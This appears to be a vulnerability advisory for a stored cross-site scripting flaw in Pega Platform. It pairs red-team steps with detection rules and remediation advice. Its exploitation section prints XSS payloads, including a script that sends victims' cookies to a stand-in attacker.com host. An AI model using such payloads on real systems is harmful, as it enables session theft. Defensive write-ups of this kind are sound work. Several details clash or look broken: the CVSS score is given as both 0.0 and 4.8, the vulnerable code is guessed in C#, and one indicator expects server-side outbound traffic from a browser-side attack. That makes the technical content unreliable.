CVE-2025-62183

Executive Summary

CVE-2025-62183 is a Stored Cross-Site Scripting (XSS) vulnerability affecting Pega Platform versions 8.1.0 through 25.1.1. The flaw resides in a user interface component, allowing an authenticated administrative user with extensive access rights to inject malicious scripts that are stored and later executed in the context of other users' browsers. While the CVSS score is 0.0 (likely due to incomplete scoring), the impact to Confidentiality and Integrity is rated as low. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The vulnerability requires high privileges and user interaction, reducing its immediate risk but still posing a threat in environments with multiple administrators.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: High (PR:H) – attacker needs admin-level access.
• User Interaction: Required (UI:R) – victim must click or interact with the injected content.
• Scope: Unchanged (S:U) – the vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited ability to modify data.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The requirement for administrative privileges and user interaction significantly lowers the risk, but in environments with shared admin accounts or weak access controls, the vulnerability could be exploited for phishing or session hijacking.

Deep Dive & Mechanics

The vulnerability is a Stored XSS (CWE-79) in a Pega Platform UI component. The root cause is insufficient sanitization of user-supplied input that is later rendered in the browser. An attacker with administrative access can inject malicious JavaScript into a field (e.g., a description, label, or custom property) that is stored in the Pega database. When another user (including other admins or regular users) views the affected page, the script executes in their browser context.

Attack Flow:

1. Attacker logs in as an admin.
2. Attacker navigates to a vulnerable UI component (e.g., a rule form, dashboard, or report).
3. Attacker injects a payload like <script>alert('XSS')</script> into an input field.
4. The payload is stored in the Pega database without proper encoding.
5. Victim (another admin or user) views the page containing the stored payload.
6. The victim's browser executes the script, potentially stealing cookies, performing actions on behalf of the victim, or defacing the page.

Why Low Impact? The vendor rates Confidentiality and Integrity as low because the attacker already has high privileges, limiting the additional damage. However, the XSS could be used to escalate privileges or pivot to other systems if the victim has higher access.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern. The vulnerable code likely uses a method like @Html.Raw() or innerHTML without encoding.

Vulnerable (C#/ASP.NET example):

// Vulnerable: Directly rendering user input without encoding
@Html.Raw(Model.UserInput)

Patched (hypothetical):

// Patched: Using HTML encoding
@Html.Encode(Model.UserInput)

Vulnerable (JavaScript example):

// Vulnerable: Setting innerHTML directly
document.getElementById('output').innerHTML = userInput;

Patched (hypothetical):

// Patched: Using textContent or sanitization
document.getElementById('output').textContent = userInput;

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Pega Platform instance (version 8.1.0 to 25.1.1).
• Administrative credentials.

Steps:

1. Log in to the Pega Platform as an admin.
2. Navigate to a vulnerable UI component (e.g., a custom dashboard or rule form).
3. Inject a payload into a text field. Example payload:

   <img src=x onerror=alert('XSS')>
   

4. Save the changes.
5. Share the link to the affected page with a victim (or wait for another admin to view it).
6. The victim's browser executes the script.

Advanced Payload (cookie theft):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual input patterns in UI fields (e.g., <script>, onerror, javascript:).
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Review admin activity logs for suspicious modifications to UI components.

Prevention:

• Enforce strict input validation and output encoding.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict admin privileges to only necessary users.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from Pega servers.
• Logs: Entries showing injection of HTML/JavaScript in UI fields (e.g., alert, onerror, fetch).
• File System: Modified rule files or database entries containing script tags.
• Memory: Injected scripts in browser memory (visible via developer tools).

Example IOC (Sigma rule):

title: Pega Platform Stored XSS Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential XSS injection in Pega Platform UI fields
logsource:
  product: pega
  service: audit
detection:
  selection:
    event_type: "RuleSave"
    field_value|contains:
      - "<script"
      - "onerror"
      - "javascript:"
  condition: selection
falsepositives:
  - Legitimate use of HTML in rich text fields
level: medium

Detection Engineering

YARA Rule

rule Pega_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Pega Platform logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62183"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "javascript:" ascii wide nocase
        $xss4 = "onload=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Pega Platform Stored XSS Detection
id: 87654321-4321-4321-4321-210987654321
status: experimental
description: Detects stored XSS attempts in Pega Platform
logsource:
  product: pega
  service: audit
detection:
  selection:
    event_type: "RuleSave"
    field_value|contains:
      - "<script"
      - "onerror"
      - "javascript:"
  condition: selection
falsepositives:
  - Legitimate HTML in rich text fields
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Pega Platform Stored XSS Payload"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Admin Access: Limit the number of users with administrative privileges.
2. Enable Input Validation: Use Pega's built-in validation rules to sanitize user input.
3. Apply WAF Rules: Block common XSS patterns at the network perimeter.
4. Monitor Logs: Review audit logs for suspicious UI modifications.

Long-Term Fix:

• Await an official patch from Pegasystems.
• Upgrade to a patched version once released.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Disable the vulnerable UI component if possible.
• Use a reverse proxy to filter malicious input.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert